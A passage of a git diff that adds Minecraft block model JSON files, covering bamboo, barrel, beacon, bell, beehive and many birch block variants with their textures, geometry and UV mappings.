b/src/assets/minecraft/models/block/bamboo4_age0.json @@ -0,0 +1,19 @@ +{ + "textures": { + "all": "block/bamboo_stalk", + "particle": "block/bamboo_stalk" + }, + "elements": [ + { "from": [ 7, 0, 7 ], + "to": [ 9, 16, 9 ], + "faces": { + "down": { "uv": [ 13, 4, 15, 6 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 13, 0, 15, 2], "texture": "#all", "cullface": "up" }, + "north": { "uv": [ 9, 0, 11, 16 ], "texture": "#all" }, + "south": { "uv": [ 9, 0, 11, 16 ], "texture": "#all" }, + "west": { "uv": [ 9, 0, 11, 16 ], "texture": "#all" }, + "east": { "uv": [ 9, 0, 11, 16 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bamboo4_age1.json b/src/assets/minecraft/models/block/bamboo4_age1.json new file mode 100644 index 00000000..4b8b8681 --- /dev/null +++ b/src/assets/minecraft/models/block/bamboo4_age1.json @@ -0,0 +1,19 @@ +{ + "textures": { + "all": "block/bamboo_stalk", + "particle": "block/bamboo_stalk" + }, + "elements": [ + { "from": [ 6.5, 0, 6.5 ], + "to": [ 9.5, 16, 9.5 ], + "faces": { + "down": { "uv": [ 13, 4, 16, 7 ], "texture": "#all", "cullface": "down" }, + "up": { "uv": [ 13, 0, 16, 3 ], "texture": "#all", "cullface": "up" }, + "north": { "uv": [ 9, 0, 12, 16 ], "texture": "#all" }, + "south": { "uv": [ 9, 0, 12, 16 ], "texture": "#all" }, + "west": { "uv": [ 9, 0, 12, 16 ], "texture": "#all" }, + "east": { "uv": [ 9, 0, 12, 16 ], "texture": "#all" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bamboo_large_leaves.json b/src/assets/minecraft/models/block/bamboo_large_leaves.json new file mode 100644 index 00000000..3ddead94 --- /dev/null +++ b/src/assets/minecraft/models/block/bamboo_large_leaves.json @@ -0,0 +1,25 @@ +{ + "ambientocclusion": false, + "textures": { + "texture": "block/bamboo_large_leaves", + "particle": "block/bamboo_large_leaves" + }, + "elements": [ + { "from": [ 0.8, 0, 8 ], + "to": [ 15.2, 16, 8 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 } + } + }, + { "from": [ 8, 0, 0.8 ], + "to": [ 8, 16, 15.2 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bamboo_sapling.json b/src/assets/minecraft/models/block/bamboo_sapling.json new file mode 100644 index 00000000..f658e68e --- /dev/null +++ b/src/assets/minecraft/models/block/bamboo_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/tinted_cross", + "textures": { + "cross": "minecraft:block/bamboo_stage0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bamboo_small_leaves.json b/src/assets/minecraft/models/block/bamboo_small_leaves.json new file mode 100644 index 00000000..c21694ea --- /dev/null +++ b/src/assets/minecraft/models/block/bamboo_small_leaves.json @@ -0,0 +1,25 @@ +{ + "ambientocclusion": false, + "textures": { + "texture": "block/bamboo_small_leaves", + "particle": "block/bamboo_small_leaves" + }, + "elements": [ + { "from": [ 0.8, 0, 8 ], + "to": [ 15.2, 16, 8 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 } + } + }, + { "from": [ 8, 0, 0.8 ], + "to": [ 8, 16, 15.2 ], + "shade": false, + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#texture", "tintindex": 0 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/banner.json b/src/assets/minecraft/models/block/banner.json new file mode 100644 index 00000000..9406a849 --- /dev/null +++ b/src/assets/minecraft/models/block/banner.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/barrel.json b/src/assets/minecraft/models/block/barrel.json new file mode 100644 index 00000000..45184216 --- /dev/null +++ b/src/assets/minecraft/models/block/barrel.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/barrel_top", + "bottom": "minecraft:block/barrel_bottom", + "side": "minecraft:block/barrel_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/barrel_open.json b/src/assets/minecraft/models/block/barrel_open.json new file mode 100644 index 00000000..0444d677 --- /dev/null +++ b/src/assets/minecraft/models/block/barrel_open.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/barrel_top_open", + "bottom": "minecraft:block/barrel_bottom", + "side": "minecraft:block/barrel_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/barrier.json b/src/assets/minecraft/models/block/barrier.json new file mode 100644 index 00000000..7d855f50 --- /dev/null +++ b/src/assets/minecraft/models/block/barrier.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:item/barrier" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/basalt.json b/src/assets/minecraft/models/block/basalt.json new file mode 100644 index 00000000..9a43b3d7 --- /dev/null +++ b/src/assets/minecraft/models/block/basalt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/basalt_top", + "side": "minecraft:block/basalt_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/beacon.json b/src/assets/minecraft/models/block/beacon.json new file mode 100644 index 00000000..99808e6b --- /dev/null +++ b/src/assets/minecraft/models/block/beacon.json @@ -0,0 +1,47 @@ +{ "parent": "block/block", + "ambientocclusion": false, + "textures": { + "particle": "block/glass", + "glass": "block/glass", + "obsidian": "block/obsidian", + "beacon": "block/beacon" + }, + "elements": [ + { "__comment": "Glass shell", + "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#glass" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#glass" }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#glass" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#glass" }, + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#glass" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#glass" } + } + }, + { "__comment": "Obsidian base", + "from": [ 2, 0.1, 2 ], + "to": [ 14, 3, 14 ], + "faces": { + "down": { "uv": [ 2, 2, 14, 14 ], "texture": "#obsidian" }, + "up": { "uv": [ 2, 2, 14, 14 ], "texture": "#obsidian" }, + "north": { "uv": [ 2, 13, 14, 16 ], "texture": "#obsidian" }, + "south": { "uv": [ 2, 13, 14, 16 ], "texture": "#obsidian" }, + "west": { "uv": [ 2, 13, 14, 16 ], "texture": "#obsidian" }, + "east": { "uv": [ 2, 13, 14, 16 ], "texture": "#obsidian" } + } + }, + { "__comment": "Inner beacon texture", + "from": [ 3, 3, 3 ], + "to": [ 13, 14, 13 ], + "faces": { + "down": { "uv": [ 3, 3, 13, 13 ], "texture": "#beacon" }, + "up": { "uv": [ 3, 3, 13, 13 ], "texture": "#beacon" }, + "north": { "uv": [ 3, 2, 13, 13 ], "texture": "#beacon" }, + "south": { "uv": [ 3, 2, 13, 13 ], "texture": "#beacon" }, + "west": { "uv": [ 3, 2, 13, 13 ], "texture": "#beacon" }, + "east": { "uv": [ 3, 2, 13, 13 ], "texture": "#beacon" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bed.json b/src/assets/minecraft/models/block/bed.json new file mode 100644 index 00000000..9406a849 --- /dev/null +++ b/src/assets/minecraft/models/block/bed.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bedrock.json b/src/assets/minecraft/models/block/bedrock.json new file mode 100644 index 00000000..adc6359e --- /dev/null +++ b/src/assets/minecraft/models/block/bedrock.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/bedrock" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bedrock_mirrored.json b/src/assets/minecraft/models/block/bedrock_mirrored.json new file mode 100644 index 00000000..a75ef1fb --- /dev/null +++ b/src/assets/minecraft/models/block/bedrock_mirrored.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_mirrored_all", + "textures": { + "all": "minecraft:block/bedrock" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bee_nest.json b/src/assets/minecraft/models/block/bee_nest.json new file mode 100644 index 00000000..7945bc23 --- /dev/null +++ b/src/assets/minecraft/models/block/bee_nest.json @@ -0,0 +1,10 @@ +{ + "parent": "minecraft:block/orientable_with_bottom", + "textures": { + "top": "minecraft:block/bee_nest_top", + "bottom": "minecraft:block/bee_nest_bottom", + "side": "minecraft:block/bee_nest_side", + "front": "minecraft:block/bee_nest_front", + "particle": "minecraft:block/bee_nest_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bee_nest_honey.json b/src/assets/minecraft/models/block/bee_nest_honey.json new file mode 100644 index 00000000..ddd56f04 --- /dev/null +++ b/src/assets/minecraft/models/block/bee_nest_honey.json @@ -0,0 +1,10 @@ +{ + "parent": "minecraft:block/orientable_with_bottom", + "textures": { + "top": "minecraft:block/bee_nest_top", + "bottom": "minecraft:block/bee_nest_bottom", + "side": "minecraft:block/bee_nest_side", + "front": "minecraft:block/bee_nest_front_honey", + "particle": "minecraft:block/bee_nest_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/beehive.json b/src/assets/minecraft/models/block/beehive.json new file mode 100644 index 00000000..5d03bc44 --- /dev/null +++ b/src/assets/minecraft/models/block/beehive.json @@ -0,0 +1,10 @@ +{ + "parent": "minecraft:block/orientable_with_bottom", + "textures": { + "top": "minecraft:block/beehive_end", + "bottom": "minecraft:block/beehive_end", + "side": "minecraft:block/beehive_side", + "front": "minecraft:block/beehive_front", + "particle": "minecraft:block/beehive_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/beehive_honey.json b/src/assets/minecraft/models/block/beehive_honey.json new file mode 100644 index 00000000..8d0f86f8 --- /dev/null +++ b/src/assets/minecraft/models/block/beehive_honey.json @@ -0,0 +1,10 @@ +{ + "parent": "minecraft:block/orientable_with_bottom", + "textures": { + "top": "minecraft:block/beehive_end", + "bottom": "minecraft:block/beehive_end", + "side": "minecraft:block/beehive_side", + "front": "minecraft:block/beehive_front_honey", + "particle": "minecraft:block/beehive_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/beetroots_stage0.json b/src/assets/minecraft/models/block/beetroots_stage0.json new file mode 100644 index 00000000..47fbf6f8 --- /dev/null +++ b/src/assets/minecraft/models/block/beetroots_stage0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/beetroots_stage0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/beetroots_stage1.json b/src/assets/minecraft/models/block/beetroots_stage1.json new file mode 100644 index 00000000..06177c9c --- /dev/null +++ b/src/assets/minecraft/models/block/beetroots_stage1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/beetroots_stage1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/beetroots_stage2.json b/src/assets/minecraft/models/block/beetroots_stage2.json new file mode 100644 index 00000000..d843c09d --- /dev/null +++ b/src/assets/minecraft/models/block/beetroots_stage2.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/beetroots_stage2" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/beetroots_stage3.json b/src/assets/minecraft/models/block/beetroots_stage3.json new file mode 100644 index 00000000..3fa2170b --- /dev/null +++ b/src/assets/minecraft/models/block/beetroots_stage3.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/beetroots_stage3" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bell_between_walls.json b/src/assets/minecraft/models/block/bell_between_walls.json new file mode 100644 index 00000000..8e7903f3 --- /dev/null +++ b/src/assets/minecraft/models/block/bell_between_walls.json @@ -0,0 +1,20 @@ +{ + "textures": { + "particle": "block/bell_bottom", + "bar": "block/dark_oak_planks" + }, + "elements": [ + { + "from": [ 0, 13, 7 ], + "to": [ 16, 15, 9 ], + "faces": { + "north": { "uv": [ 2, 2, 14, 4 ], "texture": "#bar" }, + "east": { "uv": [ 5, 4, 7, 6 ], "texture": "#bar", "cullface": "east" }, + "south": { "uv": [ 2, 3, 14, 5 ], "texture": "#bar" }, + "west": { "uv": [ 5, 4, 7, 6 ], "texture": "#bar", "cullface": "west" }, + "up": { "uv": [ 2, 3, 14, 5 ], "texture": "#bar" }, + "down": { "uv": [ 2, 3, 14, 5 ], "texture": "#bar" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bell_ceiling.json b/src/assets/minecraft/models/block/bell_ceiling.json new file mode 100644 index 00000000..a105fb98 --- /dev/null +++ b/src/assets/minecraft/models/block/bell_ceiling.json @@ -0,0 +1,19 @@ +{ + "textures": { + "particle": "block/bell_bottom", + "bar": "block/dark_oak_planks" + }, + "elements": [ + { + "from": [ 7, 13, 7 ], + "to": [ 9, 16, 9 ], + "faces": { + "north": {"uv": [ 7, 2, 9, 5 ], "texture": "#bar" }, + "east": {"uv": [ 1, 2, 3, 5 ], "texture": "#bar" }, + "south": {"uv": [ 6, 2, 8, 5 ], "texture": "#bar" }, + "west": {"uv": [ 4, 2, 6, 5 ], "texture": "#bar" }, + "up": {"uv": [ 1, 3, 3, 5 ], "texture": "#bar", "cullface": "up" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/bell_floor.json b/src/assets/minecraft/models/block/bell_floor.json new file mode 100644 index 00000000..c2abfcbd --- /dev/null +++ b/src/assets/minecraft/models/block/bell_floor.json @@ -0,0 +1,43 @@ +{ + "textures": { + "particle": "block/bell_bottom", + "bar": "block/dark_oak_planks", + "post": "block/stone" + }, + "elements": [ + { + "from": [ 2, 13, 7 ], + "to": [ 14, 15, 9 ], + "faces": { + "north": { "uv": [ 2, 2, 14, 4 ], "texture": "#bar" }, + "south": { "uv": [ 2, 3, 14, 5 ], "texture": "#bar" }, + "up": { "uv": [ 2, 3, 14, 5 ], "texture": "#bar" }, + "down": { "uv": [ 2, 3, 14, 5 ], "texture": "#bar" } + } + }, + { + "from": [ 14, 0, 6 ], + "to": [ 16, 16, 10 ], + "faces": { + "north": { "uv": [ 0, 1, 2, 16 ], "texture": "#post" }, + "east": { "uv": [ 0, 1, 4, 16 ], "texture": "#post" }, + "south": { "uv": [ 0, 1, 2, 16 ], "texture": "#post" }, + "west": { "uv": [ 0, 1, 4, 16 ], "texture": "#post" }, + "up": { "uv": [ 0, 0, 2, 4 ], "texture": "#post", "cullface": "up" }, + "down": { "uv": [ 0, 0, 2, 4 ], "texture": "#post", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 6 ], + "to": [ 2, 16, 10 ], + "faces": { + "north": { "uv": [ 0, 1, 2, 16 ], "texture": "#post" }, + "east": { "uv": [ 0, 1, 4, 16 ], "texture": "#post" }, + "south": { "uv": [ 0, 1, 2, 16 ], "texture": "#post" }, + "west": { "uv": [ 0, 1, 4, 16 ], "texture": "#post" }, + "up": { "uv": [ 0, 0, 2, 4 ], "texture": "#post","cullface": "up" }, + "down": { "uv": [ 0, 0, 2, 4 ], "texture": "#post", "cullface": "down" } + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bell_wall.json b/src/assets/minecraft/models/block/bell_wall.json new file mode 100644 index 00000000..92927bd2 --- /dev/null +++ b/src/assets/minecraft/models/block/bell_wall.json @@ -0,0 +1,20 @@ +{ + "textures": { + "particle": "block/bell_bottom", + "bar": "block/dark_oak_planks" + }, + "elements": [ + { + "from": [ 3, 13, 7 ], + "to": [ 16, 15, 9 ], + "faces": { + "north": { "uv": [ 2, 2, 14, 4 ], "texture": "#bar" }, + "east": { "uv": [ 5, 4, 7, 6 ], "texture": "#bar", "cullface": "east" }, + "south": { "uv": [ 2, 3, 14, 5 ], "texture": "#bar" }, + "west": { "uv": [ 5, 4, 7, 6 ], "texture": "#bar" }, + "up": { "uv": [ 2, 3, 14, 5 ], "texture": "#bar" }, + "down": { "uv": [ 2, 3, 14, 5 ], "texture": "#bar" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/birch_button.json b/src/assets/minecraft/models/block/birch_button.json new file mode 100644 index 00000000..751b7e91 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_button.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_button_inventory.json b/src/assets/minecraft/models/block/birch_button_inventory.json new file mode 100644 index 00000000..1f6420f5 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_button_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_inventory", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_button_pressed.json b/src/assets/minecraft/models/block/birch_button_pressed.json new file mode 100644 index 00000000..e9438da2 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_button_pressed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_pressed", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_door_bottom.json b/src/assets/minecraft/models/block/birch_door_bottom.json new file mode 100644 index 00000000..86d6ef0a --- /dev/null +++ b/src/assets/minecraft/models/block/birch_door_bottom.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom", + "textures": { + "top": "minecraft:block/birch_door_top", + "bottom": "minecraft:block/birch_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_door_bottom_hinge.json b/src/assets/minecraft/models/block/birch_door_bottom_hinge.json new file mode 100644 index 00000000..cda6de38 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_door_bottom_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_bottom_rh", + "textures": { + "top": "minecraft:block/birch_door_top", + "bottom": "minecraft:block/birch_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_door_top.json b/src/assets/minecraft/models/block/birch_door_top.json new file mode 100644 index 00000000..ae003d95 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_door_top.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top", + "textures": { + "top": "minecraft:block/birch_door_top", + "bottom": "minecraft:block/birch_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_door_top_hinge.json b/src/assets/minecraft/models/block/birch_door_top_hinge.json new file mode 100644 index 00000000..f6bd3d1e --- /dev/null +++ b/src/assets/minecraft/models/block/birch_door_top_hinge.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/door_top_rh", + "textures": { + "top": "minecraft:block/birch_door_top", + "bottom": "minecraft:block/birch_door_bottom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_fence_gate.json b/src/assets/minecraft/models/block/birch_fence_gate.json new file mode 100644 index 00000000..2e0e1566 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_fence_gate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_fence_gate_open.json b/src/assets/minecraft/models/block/birch_fence_gate_open.json new file mode 100644 index 00000000..db6f4a89 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_fence_gate_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_open", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_fence_gate_wall.json b/src/assets/minecraft/models/block/birch_fence_gate_wall.json new file mode 100644 index 00000000..5402b037 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_fence_gate_wall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_fence_gate_wall_open.json b/src/assets/minecraft/models/block/birch_fence_gate_wall_open.json new file mode 100644 index 00000000..442138c0 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_fence_gate_wall_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_fence_gate_wall_open", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_fence_inventory.json b/src/assets/minecraft/models/block/birch_fence_inventory.json new file mode 100644 index 00000000..4ef0bc09 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_fence_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_inventory", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_fence_post.json b/src/assets/minecraft/models/block/birch_fence_post.json new file mode 100644 index 00000000..83661438 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_fence_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_post", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_fence_side.json b/src/assets/minecraft/models/block/birch_fence_side.json new file mode 100644 index 00000000..f5a12c9f --- /dev/null +++ b/src/assets/minecraft/models/block/birch_fence_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/fence_side", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_leaves.json b/src/assets/minecraft/models/block/birch_leaves.json new file mode 100644 index 00000000..6f7f331c --- /dev/null +++ b/src/assets/minecraft/models/block/birch_leaves.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/leaves", + "textures": { + "all": "minecraft:block/birch_leaves" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_log.json b/src/assets/minecraft/models/block/birch_log.json new file mode 100644 index 00000000..5d43e85c --- /dev/null +++ b/src/assets/minecraft/models/block/birch_log.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/birch_log_top", + "side": "minecraft:block/birch_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_log_horizontal.json b/src/assets/minecraft/models/block/birch_log_horizontal.json new file mode 100644 index 00000000..ce988a8e --- /dev/null +++ b/src/assets/minecraft/models/block/birch_log_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/birch_log_top", + "side": "minecraft:block/birch_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_planks.json b/src/assets/minecraft/models/block/birch_planks.json new file mode 100644 index 00000000..de6d1757 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_planks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_pressure_plate.json b/src/assets/minecraft/models/block/birch_pressure_plate.json new file mode 100644 index 00000000..8df007e9 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_pressure_plate_down.json b/src/assets/minecraft/models/block/birch_pressure_plate_down.json new file mode 100644 index 00000000..4b36009e --- /dev/null +++ b/src/assets/minecraft/models/block/birch_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_sapling.json b/src/assets/minecraft/models/block/birch_sapling.json new file mode 100644 index 00000000..274a3afa --- /dev/null +++ b/src/assets/minecraft/models/block/birch_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/birch_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_sign.json b/src/assets/minecraft/models/block/birch_sign.json new file mode 100644 index 00000000..2bfa5bcf --- /dev/null +++ b/src/assets/minecraft/models/block/birch_sign.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_slab.json b/src/assets/minecraft/models/block/birch_slab.json new file mode 100644 index 00000000..eb8f29ae --- /dev/null +++ b/src/assets/minecraft/models/block/birch_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/birch_planks", + "top": "minecraft:block/birch_planks", + "side": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_slab_top.json b/src/assets/minecraft/models/block/birch_slab_top.json new file mode 100644 index 00000000..42eda265 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/birch_planks", + "top": "minecraft:block/birch_planks", + "side": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_stairs.json b/src/assets/minecraft/models/block/birch_stairs.json new file mode 100644 index 00000000..f1ddff01 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/birch_planks", + "top": "minecraft:block/birch_planks", + "side": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_stairs_inner.json b/src/assets/minecraft/models/block/birch_stairs_inner.json new file mode 100644 index 00000000..8fb77091 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/birch_planks", + "top": "minecraft:block/birch_planks", + "side": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_stairs_outer.json b/src/assets/minecraft/models/block/birch_stairs_outer.json new file mode 100644 index 00000000..0090d119 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/birch_planks", + "top": "minecraft:block/birch_planks", + "side": "minecraft:block/birch_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_trapdoor_bottom.json b/src/assets/minecraft/models/block/birch_trapdoor_bottom.json new file mode 100644 index 00000000..0aa6e6ab --- /dev/null +++ b/src/assets/minecraft/models/block/birch_trapdoor_bottom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_bottom", + "textures": { + "texture": "minecraft:block/birch_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_trapdoor_open.json b/src/assets/minecraft/models/block/birch_trapdoor_open.json new file mode 100644 index 00000000..041ad178 --- /dev/null +++ b/src/assets/minecraft/models/block/birch_trapdoor_open.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_open", + "textures": { + "texture": "minecraft:block/birch_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_trapdoor_top.json b/src/assets/minecraft/models/block/birch_trapdoor_top.json new file mode 100644 index 00000000..838e5cff --- /dev/null +++ b/src/assets/minecraft/models/block/birch_trapdoor_top.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_orientable_trapdoor_top", + "textures": { + "texture": "minecraft:block/birch_trapdoor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/birch_wood.json b/src/assets/minecraft/models/block/birch_wood.json new file mode 100644 index 00000000..ab78963a --- /dev/null +++ b/src/assets/minecraft/models/block/birch_wood.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/birch_log", + "side": "minecraft:block/birch_log" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_carpet.json b/src/assets/minecraft/models/block/black_carpet.json new file mode 100644 index 00000000..a89fa481 --- /dev/null +++ b/src/assets/minecraft/models/block/black_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/black_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/black_concrete.json b/src/assets/minecraft/models/block/black_concrete.json new file mode 